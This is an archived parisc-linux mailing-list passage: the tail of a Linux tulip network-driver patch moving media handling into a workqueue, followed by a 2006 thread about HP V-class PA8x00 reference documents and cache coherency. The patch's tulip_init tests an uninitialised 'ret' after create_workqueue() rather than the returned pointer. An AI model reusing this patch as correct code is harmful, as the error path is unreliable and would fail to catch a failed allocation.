+					int timeout = 10;	/* max 1 ms */
 					iowrite32(mtable->csr12dir | 0x100, ioaddr + CSR12);
 					for (i = 0; i < reset_length; i++)
 						iowrite32(reset_sequence[i], ioaddr + CSR12);
+
+					/* flush posted writes */
+					ioread32(ioaddr + CSR12);
+
+					/* Sect 3.10.3 in DP83840A.pdf (p39) */
+					msleep(1);
+
+					/* Section 4.2 in DP83840A.pdf (p43) */
+					/* and IEEE 802.3 "22.2.4.1.1 Reset" */
+					while (timeout-- &&
+						(tulip_mdio_read (dev, phy_num, MII_BMCR) & BMCR_RESET))
+						msleep(1);
 				}
 				for (i = 0; i < init_length; i++)
 					iowrite32(init_sequence[i], ioaddr + CSR12);
+
+				ioread32(ioaddr + CSR12);	/* flush posted writes */
 			}
+
 			tmp_info = get_u16(&misc_info[1]);
 			if (tmp_info)
 				tp->advertising[phy_num] = tmp_info | 1;
diff --git a/drivers/net/tulip/timer.c b/drivers/net/tulip/timer.c
index e058a9f..272ef62 100644
--- a/drivers/net/tulip/timer.c
+++ b/drivers/net/tulip/timer.c
@@ -18,13 +18,14 @@
 #include "tulip.h"
 
 
-void tulip_timer(unsigned long data)
+void tulip_media_task(void *data)
 {
-	struct net_device *dev = (struct net_device *)data;
+	struct net_device *dev = data;
 	struct tulip_private *tp = netdev_priv(dev);
 	void __iomem *ioaddr = tp->base_addr;
 	u32 csr12 = ioread32(ioaddr + CSR12);
 	int next_tick = 2*HZ;
+	unsigned long flags;
 
 	if (tulip_debug > 2) {
 		printk(KERN_DEBUG "%s: Media selection tick, %s, status %8.8x mode"
@@ -126,6 +127,15 @@ void tulip_timer(unsigned long data)
 	}
 	break;
 	}
+
+
+	spin_lock_irqsave(&tp->lock, flags);
+	if (tp->timeout_recovery) {
+		tulip_tx_timeout_complete(tp, ioaddr);
+		tp->timeout_recovery = 0;
+	}
+	spin_unlock_irqrestore(&tp->lock, flags);
+
 	/* mod_timer synchronizes us with potential add_timer calls
 	 * from interrupts.
 	 */
diff --git a/drivers/net/tulip/tulip.h b/drivers/net/tulip/tulip.h
index 05d2d96..c35ccf4 100644
--- a/drivers/net/tulip/tulip.h
+++ b/drivers/net/tulip/tulip.h
@@ -46,6 +46,7 @@ struct tulip_chip_table {
 	int valid_intrs;	/* CSR7 interrupt enable settings */
 	int flags;
 	void (*media_timer) (unsigned long data);
+	void (*media_task) (void *);
 };
 
 
@@ -367,6 +368,7 @@ struct tulip_private {
 	unsigned int medialock:1;	/* Don't sense media type. */
 	unsigned int mediasense:1;	/* Media sensing in progress. */
 	unsigned int nway:1, nwayset:1;		/* 21143 internal NWay. */
+	unsigned int timeout_recovery:1;
 	unsigned int csr0;	/* CSR0 setting. */
 	unsigned int csr6;	/* Current CSR6 control settings. */
 	unsigned char eeprom[EEPROM_SIZE];	/* Serial EEPROM contents. */
@@ -385,6 +387,7 @@ struct tulip_private {
 	void __iomem *base_addr;
 	int csr12_shadow;
 	int pad0;		/* Used for 8-byte alignment */
+	struct work_struct media_work;
 };
 
 
@@ -399,7 +402,7 @@ struct eeprom_fixup {
 
 /* 21142.c */
 extern u16 t21142_csr14[];
-void t21142_timer(unsigned long data);
+void t21142_media_task(void *data);
 void t21142_start_nway(struct net_device *dev);
 void t21142_lnk_change(struct net_device *dev, int csr5);
 
@@ -437,7 +440,7 @@ void pnic_lnk_change(struct net_device *
 void pnic_timer(unsigned long data);
 
 /* timer.c */
-void tulip_timer(unsigned long data);
+void tulip_media_task(void *data);
 void mxic_timer(unsigned long data);
 void comet_timer(unsigned long data);
 
@@ -486,4 +489,14 @@ static inline void tulip_restart_rxtx(st
 	tulip_start_rxtx(tp);
 }
 
+static inline void tulip_tx_timeout_complete(struct tulip_private *tp, void __iomem *ioaddr)
+{
+	/* Stop and restart the chip's Tx processes. */
+	tulip_restart_rxtx(tp);
+	/* Trigger an immediate transmit demand. */
+	iowrite32(0, ioaddr + CSR1);
+
+	tp->stats.tx_errors++;
+}
+
 #endif /* __NET_TULIP_H__ */
diff --git a/drivers/net/tulip/tulip_core.c b/drivers/net/tulip/tulip_core.c
index c67c912..d067e91 100644
--- a/drivers/net/tulip/tulip_core.c
+++ b/drivers/net/tulip/tulip_core.c
@@ -131,7 +131,16 @@ int tulip_debug = TULIP_DEBUG;
 int tulip_debug = 1;
 #endif
 
+static struct workqueue_struct *ktulipd_workqueue;
 
+static void tulip_timer(unsigned long data)
+{
+	struct net_device *dev = (struct net_device *)data;
+	struct tulip_private *tp = netdev_priv(dev);
+
+	if (netif_running(dev))
+		queue_work(ktulipd_workqueue, &tp->media_work);
+}
 
 /*
  * This table use during operation for capabilities and media timer.
@@ -145,59 +154,60 @@ struct tulip_chip_table tulip_tbl[] = {
 
   /* DC21140 */
   { "Digital DS21140 Tulip", 128, 0x0001ebef,
-	HAS_MII | HAS_MEDIA_TABLE | CSR12_IN_SROM | HAS_PCI_MWI, tulip_timer },
+	HAS_MII | HAS_MEDIA_TABLE | CSR12_IN_SROM | HAS_PCI_MWI, tulip_timer,
+	tulip_media_task },
 
   /* DC21142, DC21143 */
   { "Digital DS21143 Tulip", 128, 0x0801fbff,
 	HAS_MII | HAS_MEDIA_TABLE | ALWAYS_CHECK_MII | HAS_ACPI | HAS_NWAY
-	| HAS_INTR_MITIGATION | HAS_PCI_MWI, t21142_timer },
+	| HAS_INTR_MITIGATION | HAS_PCI_MWI, tulip_timer, t21142_media_task },
 
   /* LC82C168 */
   { "Lite-On 82c168 PNIC", 256, 0x0001fbef,
-	HAS_MII | HAS_PNICNWAY, pnic_timer },
+	HAS_MII | HAS_PNICNWAY, pnic_timer, },
 
   /* MX98713 */
   { "Macronix 98713 PMAC", 128, 0x0001ebef,
-	HAS_MII | HAS_MEDIA_TABLE | CSR12_IN_SROM, mxic_timer },
+	HAS_MII | HAS_MEDIA_TABLE | CSR12_IN_SROM, mxic_timer, },
 
   /* MX98715 */
   { "Macronix 98715 PMAC", 256, 0x0001ebef,
-	HAS_MEDIA_TABLE, mxic_timer },
+	HAS_MEDIA_TABLE, mxic_timer, },
 
   /* MX98725 */
   { "Macronix 98725 PMAC", 256, 0x0001ebef,
-	HAS_MEDIA_TABLE, mxic_timer },
+	HAS_MEDIA_TABLE, mxic_timer, },
 
   /* AX88140 */
   { "ASIX AX88140", 128, 0x0001fbff,
 	HAS_MII | HAS_MEDIA_TABLE | CSR12_IN_SROM | MC_HASH_ONLY
-	| IS_ASIX, tulip_timer },
+	| IS_ASIX, tulip_timer, tulip_media_task },
 
   /* PNIC2 */
   { "Lite-On PNIC-II", 256, 0x0801fbff,
-	HAS_MII | HAS_NWAY | HAS_8023X | HAS_PCI_MWI, pnic2_timer },
+	HAS_MII | HAS_NWAY | HAS_8023X | HAS_PCI_MWI, pnic2_timer, },
 
   /* COMET */
   { "ADMtek Comet", 256, 0x0001abef,
-	HAS_MII | MC_HASH_ONLY | COMET_MAC_ADDR, comet_timer },
+	HAS_MII | MC_HASH_ONLY | COMET_MAC_ADDR, comet_timer, },
 
   /* COMPEX9881 */
   { "Compex 9881 PMAC", 128, 0x0001ebef,
-	HAS_MII | HAS_MEDIA_TABLE | CSR12_IN_SROM, mxic_timer },
+	HAS_MII | HAS_MEDIA_TABLE | CSR12_IN_SROM, mxic_timer, },
 
   /* I21145 */
   { "Intel DS21145 Tulip", 128, 0x0801fbff,
 	HAS_MII | HAS_MEDIA_TABLE | ALWAYS_CHECK_MII | HAS_ACPI
-	| HAS_NWAY | HAS_PCI_MWI, t21142_timer },
+	| HAS_NWAY | HAS_PCI_MWI, tulip_timer, tulip_media_task },
 
   /* DM910X */
   { "Davicom DM9102/DM9102A", 128, 0x0001ebef,
 	HAS_MII | HAS_MEDIA_TABLE | CSR12_IN_SROM | HAS_ACPI,
-	tulip_timer },
+	tulip_timer, tulip_media_task },
 
   /* RS7112 */
   { "Conexant LANfinity", 256, 0x0001ebef,
-	HAS_MII | HAS_ACPI, tulip_timer },
+	HAS_MII | HAS_ACPI, tulip_timer, tulip_media_task },
 
 };
 
@@ -523,20 +533,9 @@ static void tulip_tx_timeout(struct net_
 			   "SIA %8.8x %8.8x %8.8x %8.8x, resetting...\n",
 			   dev->name, ioread32(ioaddr + CSR5), ioread32(ioaddr + CSR12),
 			   ioread32(ioaddr + CSR13), ioread32(ioaddr + CSR14), ioread32(ioaddr + CSR15));
-		if ( ! tp->medialock  &&  tp->mtable) {
-			do
-				--tp->cur_index;
-			while (tp->cur_index >= 0
-				   && (tulip_media_cap[tp->mtable->mleaf[tp->cur_index].media]
-					   & MediaIsFD));
-			if (--tp->cur_index < 0) {
-				/* We start again, but should instead look for default. */
-				tp->cur_index = tp->mtable->leafcount - 1;
-			}
-			tulip_select_media(dev, 0);
-			printk(KERN_WARNING "%s: transmit timed out, switching to %s "
-				   "media.\n", dev->name, medianame[dev->if_port]);
-		}
+		tp->timeout_recovery = 1;
+		queue_work(ktulipd_workqueue, &tp->media_work);
+		goto out_unlock;
 	} else if (tp->chip_id == PNIC2) {
 		printk(KERN_WARNING "%s: PNIC2 transmit timed out, status %8.8x, "
 		       "CSR6/7 %8.8x / %8.8x CSR12 %8.8x, resetting...\n",
@@ -576,14 +575,9 @@ static void tulip_tx_timeout(struct net_
 	}
 #endif
 
-	/* Stop and restart the chip's Tx processes . */
-
-	tulip_restart_rxtx(tp);
-	/* Trigger an immediate transmit demand. */
-	iowrite32(0, ioaddr + CSR1);
-
-	tp->stats.tx_errors++;
+	tulip_tx_timeout_complete(tp, ioaddr);
 
+out_unlock:
 	spin_unlock_irqrestore (&tp->lock, flags);
 	dev->trans_start = jiffies;
 	netif_wake_queue (dev);
@@ -733,6 +727,8 @@ static void tulip_down (struct net_devic
 	void __iomem *ioaddr = tp->base_addr;
 	unsigned long flags;
 
+	flush_workqueue(ktulipd_workqueue);
+
 	del_timer_sync (&tp->timer);
 #ifdef CONFIG_TULIP_NAPI
 	del_timer_sync (&tp->oom_timer);
@@ -1399,6 +1395,8 @@ static int __devinit tulip_init_one (str
 	tp->timer.data = (unsigned long)dev;
 	tp->timer.function = tulip_tbl[tp->chip_id].media_timer;
 
+	INIT_WORK(&tp->media_work, tulip_tbl[tp->chip_id].media_task, dev);
+
 	dev->base_addr = (unsigned long)ioaddr;
 
 #ifdef CONFIG_TULIP_MWI
@@ -1845,6 +1843,8 @@ static struct pci_driver tulip_driver = 
 
 static int __init tulip_init (void)
 {
+	int ret;
+
 #ifdef MODULE
 	printk (KERN_INFO "%s", version);
 #endif
@@ -1853,14 +1853,23 @@ static int __init tulip_init (void)
 	tulip_rx_copybreak = rx_copybreak;
 	tulip_max_interrupt_work = max_interrupt_work;
 
+	ktulipd_workqueue = create_workqueue("ktulipd");
+	if (ret < 0)
+		goto out;
+
 	/* probe for and init boards */
-	return pci_module_init (&tulip_driver);
+	ret = pci_module_init (&tulip_driver);
+	if (ret < 0)
+		destroy_workqueue(ktulipd_workqueue);
+out:
+	return ret;
 }
 
 
 static void __exit tulip_cleanup (void)
 {
 	pci_unregister_driver (&tulip_driver);
+	destroy_workqueue(ktulipd_workqueue);
 }
 
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Heavy Iron Reference Docs
Date: Sat, 29 Apr 2006 22:50:49 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <200604292250.49455.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624075 19465 80.91.229.3 (22 Nov 2014 02:41:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Apr 2006 03:51:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 30 Apr 2006 05:51:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9109A7D66D;
	Sat, 29 Apr 2006 21:51:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13174-05; Sat, 29 Apr 2006 21:51:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C96B97D674;
	Sat, 29 Apr 2006 21:51:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ADDD17D666
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 21:50:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13174-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 21:50:55 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id C4D9B7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 21:50:55 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3U3oxbO065177
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 20:51:03 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [65.41.65.167] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id CxG0i1N2
	authenticated by SMTP; Sat, 29 Apr 2006 20:50:58 -0700 (PDT)
User-Agent: KMail/1.7.2
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SlA8CUt1bHIyva3NNjQ0MikqJihyahBR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23641

Group,

On the this page, in the PA 2.0 reference section:
http://parisc-linux.org/documentation/index.html

Could someone post copies of these two docs?

The PA8200 heavy iron supplement to the architecture ref:
http://docs.hp.com/en/A3725-90004/A3725-90004.pdf

The PA8500 heavy iron supplement to the architecture ref:
http://docs.hp.com/en/A5074-90004/A5074-90004.pdf

Although these are titled V-Class servers they seem to
be the only documentation on the PA8x00 coherent memory
system outside of the HP vaults.

Contain a lot of useful information, like how to make
coherent semaphores (spinlocks) work on the PA8x00
server classes.

(Dave found them)
Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Sun, 30 Apr 2006 00:36:50 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200604300436.k3U4ao30012106@hiauly1.hia.nrc.ca>
References: <200604292250.49455.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624075 19472 80.91.229.3 (22 Nov 2014 02:41:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@morethan.org (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Apr 2006 04:37:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 30 Apr 2006 06:37:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2FC497D67D;
	Sat, 29 Apr 2006 22:36:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13393-05; Sat, 29 Apr 2006 22:36:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 258447D675;
	Sat, 29 Apr 2006 22:36:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C06B7D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 22:36:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13174-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 22:36:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 40F7C7D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 29 Apr 2006 22:36:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3U4apvM012107;
	Sun, 30 Apr 2006 00:36:51 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3U4ao30012106;
	Sun, 30 Apr 2006 00:36:50 -0400 (EDT)
In-Reply-To: <200604292250.49455.mszick@morethan.org> from "Michael S. Zick"
	at Apr 29, 2006 10:50:49 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2QhncAxcTXs9vqyRbmQ5NzVKRzdyMsMP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23642

> On the this page, in the PA 2.0 reference section:
> http://parisc-linux.org/documentation/index.html

I also found the following:
http://h21007.www2.hp.com/dspp/files/unprotected/itanium/spinlocks.pdf

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Sun, 30 Apr 2006 01:03:02 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <20060430070302.GA32765@colo.lackof.org>
References: <200604292250.49455.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624076 19475 80.91.229.3 (22 Nov 2014 02:41:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@morethan.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Apr 2006 06:51:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 30 Apr 2006 08:51:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 251807D67D;
	Sun, 30 Apr 2006 00:51:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14253-10; Sun, 30 Apr 2006 00:51:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A99EE7D680;
	Sun, 30 Apr 2006 00:51:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5022D7D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 00:51:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14253-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 00:51:07 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 644947D675
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 00:51:07 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id AEBA54581E7;
	Sun, 30 Apr 2006 01:03:04 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05192-01; Sun, 30 Apr 2006 01:03:02 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1DBA14581E3; Sun, 30 Apr 2006 01:03:02 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200604292250.49455.mszick@morethan.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XGxmd0EjPTRt7OjGPjIwMzIxc2tpZMvm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23643

On Sat, Apr 29, 2006 at 10:50:49PM -0500, Michael S. Zick wrote:
...
> Although these are titled V-Class servers they seem to
> be the only documentation on the PA8x00 coherent memory
> system outside of the HP vaults.

On page "20 of 248" for V2500 doc:
    "This document does not attempt to duplicate information in that
     manual. Instead, it presents only V2500 server-specific information."

And ISTR V-class has "unique" constraints on coherency.
Sorry - I've forgotten details. But you might start on
page "71" (aka page 89 using xpdf numbering):
|  The instructions which flush based on a memory line address are PDC,
|  FDC and FIC. These instructions are broadcast to other processors
|  within a node that may be sharing the same cache lines. These
|  instructions, therefore, have global effects within a node.
...
|  Cache flush instructions must be followed by a sync instruction to ensure
|  that all flushes have made it to memory.

and Page "75" (aka page 93 of pdf):
|  CTI cache interfaces
|  The PA-RISC architecture (1.0 and 2.0) does not support the concept of a
|  CTI Cache. Thus, there are no PA-RISC architected instructions for
|  issuing the CTI cache operations.

Seems to state V2500 NUMA implementation is NOT supported by the general
PA 2.0 architecture. Be very careful to not generalize statements made in
the V-class specific documents.

I'm currently only certain cc-NUMA V-2500 has cache coherency issues
with DMA.  A seperate exciting topic for discussion once I've retired.
(at least another 20 years or so)  :)


> Contain a lot of useful information, like how to make
> coherent semaphores (spinlocks) work on the PA8x00
> server classes.

How to implement spinlocks on V2500 is not necessarily the
same set of requirements for all other classes of PA20 machines.
Keep in mind parisc-linux currently does NOT support any V-class
machines - ie we have no ability to test theories about locking
other than with HP-UX.


Lastly, if other HP employees get permission to redistribute
the V-class PDF files, I'd be happy to put them on ftp.parisc-linux.org.
Until parisc-linux kernel supports V-class, I have no interest in
pursuing permission to do redistribute those documents.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Sun, 30 Apr 2006 08:12:24 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <200604300812.24276.mszick@morethan.org>
References: <200604292250.49455.mszick@morethan.org>
	<20060430070302.GA32765@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624076 19477 80.91.229.3 (22 Nov 2014 02:41:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:16 +0000 (UTC)
